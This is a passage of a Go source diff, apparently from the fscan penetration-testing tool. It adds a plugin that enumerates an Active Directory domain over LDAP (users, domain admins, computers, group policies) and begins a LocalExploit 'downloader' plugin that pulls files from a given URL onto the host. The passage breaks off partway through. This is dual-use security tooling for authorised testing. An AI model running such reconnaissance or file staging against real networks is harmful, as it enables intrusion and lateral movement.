Domain: domain,
|
||||
BaseDN: baseDN,
|
||||
LDAPConn: ldapConn,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// getDomainController 获取域控制器地址
|
||||
func (p *DCInfoPlugin) getDomainController() (string, string, error) {
|
||||
// 尝试使用PowerShell获取域名
|
||||
domain, err := p.getDomainNamePowerShell()
|
||||
if err != nil {
|
||||
// 尝试使用wmic
|
||||
domain, err = p.getDomainNameWmic()
|
||||
if err != nil {
|
||||
// 尝试使用环境变量
|
||||
domain, err = p.getDomainNameFromEnv()
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("获取域名失败: %w", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if domain == "" || domain == "WORKGROUP" {
|
||||
return "", "", fmt.Errorf("当前机器未加入域")
|
||||
}
|
||||
|
||||
// 查询域控制器
|
||||
dcHost, err := p.findDomainController(domain)
|
||||
if err != nil {
|
||||
// 备选方案:使用域名直接构造
|
||||
dcHost = fmt.Sprintf("dc.%s", domain)
|
||||
}
|
||||
|
||||
return dcHost, domain, nil
|
||||
}
|
||||
|
||||
// getDomainNamePowerShell 使用PowerShell获取域名
|
||||
func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
|
||||
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
domain := strings.TrimSpace(string(output))
|
||||
if domain == "" || domain == "WORKGROUP" {
|
||||
return "", fmt.Errorf("未加入域")
|
||||
}
|
||||
|
||||
return domain, nil
|
||||
}
|
||||
|
||||
// getDomainNameWmic 使用wmic获取域名
|
||||
func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
|
||||
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Domain=") {
|
||||
domain := strings.TrimSpace(strings.TrimPrefix(line, "Domain="))
|
||||
if domain != "" && domain != "WORKGROUP" {
|
||||
return domain, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("未找到域名")
|
||||
}
|
||||
|
||||
// getDomainNameFromEnv 从环境变量获取域名
|
||||
func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
|
||||
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
userDomain := strings.ToLower(strings.TrimSpace(string(output)))
|
||||
if userDomain != "" && userDomain != "workgroup" && userDomain != "%userdomain%" {
|
||||
return userDomain, nil
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("从环境变量获取域名失败")
|
||||
}
|
||||
|
||||
// findDomainController 查找域控制器
|
||||
func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
|
||||
// 使用nslookup查询SRV记录
|
||||
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
|
||||
output, err := cmd.Output()
|
||||
if err == nil {
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
if common.ContainsAny(line, "svr hostname", "service") {
|
||||
parts := strings.Split(line, "=")
|
||||
if len(parts) > 1 {
|
||||
dcHost := strings.TrimSpace(parts[len(parts)-1])
|
||||
dcHost = strings.TrimSuffix(dcHost, ".")
|
||||
if dcHost != "" {
|
||||
return dcHost, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试直接ping域名
|
||||
cmd = exec.Command("ping", "-n", "1", domain)
|
||||
if err := cmd.Run(); err == nil {
|
||||
return domain, nil
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("无法找到域控制器")
|
||||
}
|
||||
|
||||
// connectToLDAP 连接到LDAP服务器
|
||||
func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
|
||||
// 创建SSPI客户端
|
||||
ldapClient, err := gssapi.NewSSPIClient()
|
||||
if err != nil {
|
||||
return nil, "", fmt.Errorf("创建SSPI客户端失败: %w", err)
|
||||
}
|
||||
defer func() { _ = ldapClient.Close() }()
|
||||
|
||||
// 尝试连接
|
||||
var conn *ldap.Conn
|
||||
var lastError error
|
||||
|
||||
// 直接连接
|
||||
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost))
|
||||
if err != nil {
|
||||
lastError = err
|
||||
// 尝试使用IPv4地址
|
||||
ipv4, resolveErr := p.resolveIPv4(dcHost)
|
||||
if resolveErr == nil {
|
||||
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
|
||||
if err != nil {
|
||||
lastError = err
|
||||
}
|
||||
} else {
|
||||
lastError = resolveErr
|
||||
}
|
||||
}
|
||||
|
||||
if conn == nil {
|
||||
return nil, "", fmt.Errorf("LDAP连接失败: %w", lastError)
|
||||
}
|
||||
|
||||
// 使用GSSAPI进行绑定
|
||||
err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "")
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return nil, "", fmt.Errorf("GSSAPI绑定失败: %w", err)
|
||||
}
|
||||
|
||||
// 获取BaseDN
|
||||
baseDN, err := p.getBaseDN(conn, domain)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
return conn, baseDN, nil
|
||||
}
|
||||
|
||||
// getBaseDN 获取BaseDN
|
||||
func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
"",
|
||||
ldap.ScopeBaseObject,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"defaultNamingContext"},
|
||||
nil,
|
||||
)
|
||||
|
||||
result, err := conn.Search(searchRequest)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("获取defaultNamingContext失败: %w", err)
|
||||
}
|
||||
|
||||
if len(result.Entries) == 0 {
|
||||
// 备选方案:从域名构造BaseDN
|
||||
parts := strings.Split(domain, ".")
|
||||
var dn []string
|
||||
for _, part := range parts {
|
||||
dn = append(dn, fmt.Sprintf("DC=%s", part))
|
||||
}
|
||||
return strings.Join(dn, ","), nil
|
||||
}
|
||||
|
||||
baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext")
|
||||
if baseDN == "" {
|
||||
return "", fmt.Errorf("获取BaseDN失败")
|
||||
}
|
||||
|
||||
return baseDN, nil
|
||||
}
|
||||
|
||||
// resolveIPv4 解析主机名为IPv4地址
|
||||
func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
|
||||
ips, err := net.LookupIP(hostname)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, ip := range ips {
|
||||
if ip.To4() != nil {
|
||||
return ip.String(), nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("未找到IPv4地址")
|
||||
}
|
||||
|
||||
// getDomainInfo 获取域基本信息
|
||||
func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeBaseObject,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"whenCreated", "whenChanged", "objectSid", "msDS-Behavior-Version", "dnsRoot"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.Search(searchRequest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
domainInfo := make(map[string]interface{})
|
||||
domainInfo["domain"] = conn.Domain
|
||||
domainInfo["base_dn"] = conn.BaseDN
|
||||
|
||||
if len(sr.Entries) > 0 {
|
||||
entry := sr.Entries[0]
|
||||
domainInfo["created"] = entry.GetAttributeValue("whenCreated")
|
||||
domainInfo["modified"] = entry.GetAttributeValue("whenChanged")
|
||||
domainInfo["object_sid"] = entry.GetAttributeValue("objectSid")
|
||||
domainInfo["functional_level"] = entry.GetAttributeValue("msDS-Behavior-Version")
|
||||
domainInfo["dns_root"] = entry.GetAttributeValue("dnsRoot")
|
||||
}
|
||||
|
||||
return domainInfo, nil
|
||||
}
|
||||
|
||||
// getDomainControllers 获取域控制器信息
|
||||
func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
dcQuery := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
|
||||
[]string{"cn", "dNSHostName", "operatingSystem", "operatingSystemVersion", "operatingSystemServicePack", "whenCreated", "lastLogonTimestamp"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var dcs []map[string]interface{}
|
||||
for _, entry := range sr.Entries {
|
||||
dc := make(map[string]interface{})
|
||||
dc["name"] = entry.GetAttributeValue("cn")
|
||||
dc["dns_name"] = entry.GetAttributeValue("dNSHostName")
|
||||
dc["os"] = entry.GetAttributeValue("operatingSystem")
|
||||
dc["os_version"] = entry.GetAttributeValue("operatingSystemVersion")
|
||||
dc["os_service_pack"] = entry.GetAttributeValue("operatingSystemServicePack")
|
||||
dc["created"] = entry.GetAttributeValue("whenCreated")
|
||||
dc["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp")
|
||||
dcs = append(dcs, dc)
|
||||
}
|
||||
|
||||
return dcs, nil
|
||||
}
|
||||
|
||||
// getDomainUsersDetailed 获取域用户信息
|
||||
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectCategory=person)(objectClass=user))",
|
||||
[]string{"sAMAccountName", "displayName", "mail", "userAccountControl", "whenCreated", "lastLogonTimestamp", "badPwdCount", "pwdLastSet"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var users []map[string]interface{}
|
||||
for _, entry := range sr.Entries {
|
||||
user := make(map[string]interface{})
|
||||
user["username"] = entry.GetAttributeValue("sAMAccountName")
|
||||
user["display_name"] = entry.GetAttributeValue("displayName")
|
||||
user["email"] = entry.GetAttributeValue("mail")
|
||||
user["account_control"] = entry.GetAttributeValue("userAccountControl")
|
||||
user["created"] = entry.GetAttributeValue("whenCreated")
|
||||
user["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp")
|
||||
user["bad_pwd_count"] = entry.GetAttributeValue("badPwdCount")
|
||||
user["pwd_last_set"] = entry.GetAttributeValue("pwdLastSet")
|
||||
users = append(users, user)
|
||||
}
|
||||
|
||||
return users, nil
|
||||
}
|
||||
|
||||
// getDomainAdminsDetailed 获取域管理员信息
|
||||
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
// 获取Domain Admins组
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectCategory=group)(cn=Domain Admins))",
|
||||
[]string{"member"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var admins []map[string]interface{}
|
||||
if len(sr.Entries) > 0 {
|
||||
members := sr.Entries[0].GetAttributeValues("member")
|
||||
for _, memberDN := range members {
|
||||
adminInfo, err := p.getUserInfoByDN(conn, memberDN)
|
||||
if err == nil {
|
||||
admins = append(admins, adminInfo)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return admins, nil
|
||||
}
|
||||
|
||||
// getComputersDetailed 获取域计算机信息
|
||||
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(&(objectClass=computer)(!userAccountControl:1.2.840.113556.1.4.803:=8192))",
|
||||
[]string{"cn", "operatingSystem", "operatingSystemVersion", "dNSHostName", "whenCreated", "lastLogonTimestamp", "userAccountControl"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var computers []map[string]interface{}
|
||||
for _, entry := range sr.Entries {
|
||||
computer := make(map[string]interface{})
|
||||
computer["name"] = entry.GetAttributeValue("cn")
|
||||
computer["os"] = entry.GetAttributeValue("operatingSystem")
|
||||
computer["os_version"] = entry.GetAttributeValue("operatingSystemVersion")
|
||||
computer["dns_name"] = entry.GetAttributeValue("dNSHostName")
|
||||
computer["created"] = entry.GetAttributeValue("whenCreated")
|
||||
computer["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp")
|
||||
computer["account_control"] = entry.GetAttributeValue("userAccountControl")
|
||||
computers = append(computers, computer)
|
||||
}
|
||||
|
||||
return computers, nil
|
||||
}
|
||||
|
||||
// getUserInfoByDN 根据DN获取用户信息
|
||||
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
userDN,
|
||||
ldap.ScopeBaseObject,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"sAMAccountName", "displayName", "mail", "whenCreated", "lastLogonTimestamp", "userAccountControl"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.Search(searchRequest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(sr.Entries) == 0 {
|
||||
return nil, fmt.Errorf("用户不存在")
|
||||
}
|
||||
|
||||
entry := sr.Entries[0]
|
||||
userInfo := make(map[string]interface{})
|
||||
userInfo["dn"] = userDN
|
||||
userInfo["username"] = entry.GetAttributeValue("sAMAccountName")
|
||||
userInfo["display_name"] = entry.GetAttributeValue("displayName")
|
||||
userInfo["email"] = entry.GetAttributeValue("mail")
|
||||
userInfo["created"] = entry.GetAttributeValue("whenCreated")
|
||||
userInfo["last_logon"] = entry.GetAttributeValue("lastLogonTimestamp")
|
||||
userInfo["group_type"] = "Domain Admins"
|
||||
|
||||
return userInfo, nil
|
||||
}
|
||||
|
||||
// getGroupPolicies 获取组策略信息
|
||||
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=groupPolicyContainer)",
|
||||
[]string{"cn", "displayName", "objectClass", "distinguishedName", "whenCreated", "whenChanged", "gPCFileSysPath"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.Search(searchRequest)
|
||||
if err != nil {
|
||||
sr, err = conn.LDAPConn.SearchWithPaging(searchRequest, 1000)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var gpos []map[string]interface{}
|
||||
for _, entry := range sr.Entries {
|
||||
gpo := make(map[string]interface{})
|
||||
gpo["guid"] = entry.GetAttributeValue("cn")
|
||||
gpo["display_name"] = entry.GetAttributeValue("displayName")
|
||||
gpo["created"] = entry.GetAttributeValue("whenCreated")
|
||||
gpo["modified"] = entry.GetAttributeValue("whenChanged")
|
||||
gpo["file_sys_path"] = entry.GetAttributeValue("gPCFileSysPath")
|
||||
gpo["dn"] = entry.GetAttributeValue("distinguishedName")
|
||||
gpos = append(gpos, gpo)
|
||||
}
|
||||
|
||||
return gpos, nil
|
||||
}
|
||||
|
||||
// getOrganizationalUnits 获取组织单位信息
|
||||
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
ldap.NeverDerefAliases,
|
||||
0, 0, false,
|
||||
"(objectClass=*)",
|
||||
[]string{"ou", "cn", "name", "description", "objectClass", "distinguishedName", "whenCreated", "gPLink"},
|
||||
nil,
|
||||
)
|
||||
|
||||
sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 100)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var ous []map[string]interface{}
|
||||
for _, entry := range sr.Entries {
|
||||
objectClasses := entry.GetAttributeValues("objectClass")
|
||||
dn := entry.GetAttributeValue("distinguishedName")
|
||||
|
||||
isOU := false
|
||||
isContainer := false
|
||||
for _, class := range objectClasses {
|
||||
switch class {
|
||||
case "organizationalUnit":
|
||||
isOU = true
|
||||
case "container":
|
||||
isContainer = true
|
||||
}
|
||||
}
|
||||
|
||||
if !isOU && !isContainer {
|
||||
continue
|
||||
}
|
||||
|
||||
// 获取名称
|
||||
name := entry.GetAttributeValue("ou")
|
||||
if name == "" {
|
||||
name = entry.GetAttributeValue("cn")
|
||||
}
|
||||
if name == "" {
|
||||
name = entry.GetAttributeValue("name")
|
||||
}
|
||||
|
||||
// 跳过系统容器
|
||||
if strings.Contains(dn, "CN=LostAndFound") ||
|
||||
strings.Contains(dn, "CN=Configuration") ||
|
||||
strings.Contains(dn, "CN=Schema") ||
|
||||
strings.Contains(dn, "CN=System") ||
|
||||
strings.Contains(dn, "CN=Program Data") ||
|
||||
strings.Contains(dn, "CN=Microsoft") ||
|
||||
(strings.HasPrefix(dn, "CN=") && len(name) == 36 && strings.Count(name, "-") == 4) {
|
||||
continue
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
ou := make(map[string]interface{})
|
||||
ou["name"] = name
|
||||
ou["description"] = entry.GetAttributeValue("description")
|
||||
ou["created"] = entry.GetAttributeValue("whenCreated")
|
||||
ou["gp_link"] = entry.GetAttributeValue("gPLink")
|
||||
ou["dn"] = dn
|
||||
ou["is_ou"] = isOU
|
||||
ous = append(ous, ou)
|
||||
}
|
||||
}
|
||||
|
||||
return ous, nil
|
||||
}
|
||||
|
||||
// 输出日志函数
|
||||
func (p *DCInfoPlugin) logDomainInfoToOutput(output *strings.Builder, domainInfo map[string]interface{}) {
|
||||
if domain, ok := domainInfo["domain"]; ok {
|
||||
_, _ = fmt.Fprintf(output, " 域名: %v\n", domain)
|
||||
}
|
||||
if created, ok := domainInfo["created"]; ok && created != "" {
|
||||
_, _ = fmt.Fprintf(output, " 创建时间: %v\n", created)
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logDomainControllersToOutput(output *strings.Builder, dcs []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 个域控制器\n", len(dcs))
|
||||
for _, dc := range dcs {
|
||||
if name, ok := dc["name"]; ok {
|
||||
_, _ = fmt.Fprintf(output, " - %v (%v)\n", name, dc["dns_name"])
|
||||
if os, ok := dc["os"]; ok && os != "" {
|
||||
_, _ = fmt.Fprintf(output, " 操作系统: %v\n", os)
|
||||
}
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logDomainUsersToOutput(output *strings.Builder, users []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 个域用户\n", len(users))
|
||||
count := 0
|
||||
for _, user := range users {
|
||||
if count >= 10 { // 限制显示数量
|
||||
output.WriteString(" ...(更多用户已省略)\n")
|
||||
break
|
||||
}
|
||||
if username, ok := user["username"]; ok && username != "" {
|
||||
displayInfo := fmt.Sprintf(" - %v", username)
|
||||
if displayName, ok := user["display_name"]; ok && displayName != "" {
|
||||
displayInfo += fmt.Sprintf(" (%v)", displayName)
|
||||
}
|
||||
if email, ok := user["email"]; ok && email != "" {
|
||||
displayInfo += fmt.Sprintf(" [%v]", email)
|
||||
}
|
||||
output.WriteString(displayInfo + "\n")
|
||||
count++
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logDomainAdminsToOutput(output *strings.Builder, admins []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 个域管理员\n", len(admins))
|
||||
for _, admin := range admins {
|
||||
if username, ok := admin["username"]; ok && username != "" {
|
||||
adminInfo := fmt.Sprintf(" - %v", username)
|
||||
if displayName, ok := admin["display_name"]; ok && displayName != "" {
|
||||
adminInfo += fmt.Sprintf(" (%v)", displayName)
|
||||
}
|
||||
if email, ok := admin["email"]; ok && email != "" {
|
||||
adminInfo += fmt.Sprintf(" [%v]", email)
|
||||
}
|
||||
output.WriteString(adminInfo + "\n")
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logComputersToOutput(output *strings.Builder, computers []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 台域计算机\n", len(computers))
|
||||
count := 0
|
||||
for _, computer := range computers {
|
||||
if count >= 10 { // 限制显示数量
|
||||
output.WriteString(" ...(更多计算机已省略)\n")
|
||||
break
|
||||
}
|
||||
if name, ok := computer["name"]; ok && name != "" {
|
||||
computerInfo := fmt.Sprintf(" - %v", name)
|
||||
if os, ok := computer["os"]; ok && os != "" {
|
||||
computerInfo += fmt.Sprintf(" (%v)", os)
|
||||
}
|
||||
if dnsName, ok := computer["dns_name"]; ok && dnsName != "" {
|
||||
computerInfo += fmt.Sprintf(" [%v]", dnsName)
|
||||
}
|
||||
output.WriteString(computerInfo + "\n")
|
||||
count++
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logGroupPoliciesToOutput(output *strings.Builder, gpos []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 个组策略对象\n", len(gpos))
|
||||
for _, gpo := range gpos {
|
||||
if displayName, ok := gpo["display_name"]; ok && displayName != "" {
|
||||
gpoInfo := fmt.Sprintf(" - %v", displayName)
|
||||
if guid, ok := gpo["guid"]; ok {
|
||||
gpoInfo += fmt.Sprintf(" [%v]", guid)
|
||||
}
|
||||
output.WriteString(gpoInfo + "\n")
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
func (p *DCInfoPlugin) logOrganizationalUnitsToOutput(output *strings.Builder, ous []map[string]interface{}) {
|
||||
_, _ = fmt.Fprintf(output, " 发现 %d 个组织单位和容器\n", len(ous))
|
||||
for _, ou := range ous {
|
||||
if name, ok := ou["name"]; ok && name != "" {
|
||||
ouInfo := fmt.Sprintf(" - %v", name)
|
||||
if isOU, ok := ou["is_ou"]; ok {
|
||||
if isOUBool, ok := isOU.(bool); ok && isOUBool {
|
||||
ouInfo += " [OU]"
|
||||
} else {
|
||||
ouInfo += " [Container]"
|
||||
}
|
||||
} else {
|
||||
ouInfo += " [Container]"
|
||||
}
|
||||
if desc, ok := ou["description"]; ok && desc != "" {
|
||||
ouInfo += fmt.Sprintf(" 描述: %v", desc)
|
||||
}
|
||||
output.WriteString(ouInfo + "\n")
|
||||
}
|
||||
}
|
||||
output.WriteString("\n")
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("dcinfo", func() Plugin {
|
||||
return NewDCInfoPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,250 @@
|
||||
//go:build (plugin_downloader || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// DownloaderPlugin 文件下载插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现文件下载功能
|
||||
// - 保持原有功能逻辑
|
||||
type DownloaderPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewDownloaderPlugin 创建文件下载插件
|
||||
func NewDownloaderPlugin() *DownloaderPlugin {
|
||||
return &DownloaderPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("downloader"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行文件下载任务 - 直接实现
|
||||
func (p *DownloaderPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
downloadURL := config.LocalExploit.DownloadURL
|
||||
savePath := config.LocalExploit.DownloadSavePath
|
||||
downloadTimeout := 30 * time.Second
|
||||
maxFileSize := int64(100 * 1024 * 1024) // 100MB
|
||||
|
||||
output.WriteString("=== 文件下载 ===\n")
|
||||
|
||||
// 验证参数
|
||||
if err := p.validateParameters(downloadURL, &savePath); err != nil {
|
||||
output.WriteString(fmt.Sprintf("参数验证失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("下载URL: %s\n", downloadURL))
|
||||
output.WriteString(fmt.Sprintf("保存路径: %s\n", savePath))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 检查保存路径权限
|
||||
if err := p.checkSavePathPermissions(&savePath); err != nil {
|
||||
output.WriteString(fmt.Sprintf("保存路径检查失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 执行下载
|
||||
downloadInfo, err := p.downloadFile(ctx, downloadURL, savePath, downloadTimeout, maxFileSize)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("下载失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 输出下载结果
|
||||
output.WriteString("✓ 文件下载成功!\n")
|
||||
output.WriteString(fmt.Sprintf("文件大小: %v bytes\n", downloadInfo["file_size"]))
|
||||
if contentType, ok := downloadInfo["content_type"]; ok && contentType != "" {
|
||||
output.WriteString(fmt.Sprintf("文件类型: %v\n", contentType))
|
||||
}
|
||||
output.WriteString(fmt.Sprintf("下载用时: %v\n", downloadInfo["download_time"]))
|
||||
|
||||
common.LogSuccess(i18n.Tr("downloader_success",
|
||||
downloadURL, savePath, downloadInfo["file_size"]))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// validateParameters 验证输入参数
|
||||
func (p *DownloaderPlugin) validateParameters(downloadURL string, savePath *string) error {
|
||||
if downloadURL == "" {
|
||||
return fmt.Errorf("下载URL不能为空,请使用 -download-url 参数指定")
|
||||
}
|
||||
|
||||
// 验证URL格式
|
||||
if !strings.HasPrefix(strings.ToLower(downloadURL), "http://") &&
|
||||
!strings.HasPrefix(strings.ToLower(downloadURL), "https://") {
|
||||
return fmt.Errorf("无效的URL格式,必须以 http:// 或 https:// 开头")
|
||||
}
|
||||
|
||||
// 如果没有指定保存路径,使用URL中的文件名
|
||||
if *savePath == "" {
|
||||
filename := p.extractFilenameFromURL(downloadURL)
|
||||
if filename == "" {
|
||||
filename = "downloaded_file"
|
||||
}
|
||||
*savePath = filename
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// extractFilenameFromURL 从URL中提取文件名
|
||||
func (p *DownloaderPlugin) extractFilenameFromURL(url string) string {
|
||||
// 移除查询参数
|
||||
if idx := strings.Index(url, "?"); idx != -1 {
|
||||
url = url[:idx]
|
||||
}
|
||||
|
||||
// 获取路径的最后一部分
|
||||
parts := strings.Split(url, "/")
|
||||
if len(parts) > 0 {
|
||||
filename := parts[len(parts)-1]
|
||||
if filename != "" && !strings.Contains(filename, "=") {
|
||||
return filename
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkSavePathPermissions 检查保存路径权限
|
||||
func (p *DownloaderPlugin) checkSavePathPermissions(savePath *string) error {
|
||||
// 获取保存目录
|
||||
saveDir := filepath.Dir(*savePath)
|
||||
if saveDir == "." || saveDir == "" {
|
||||
// 使用当前目录
|
||||
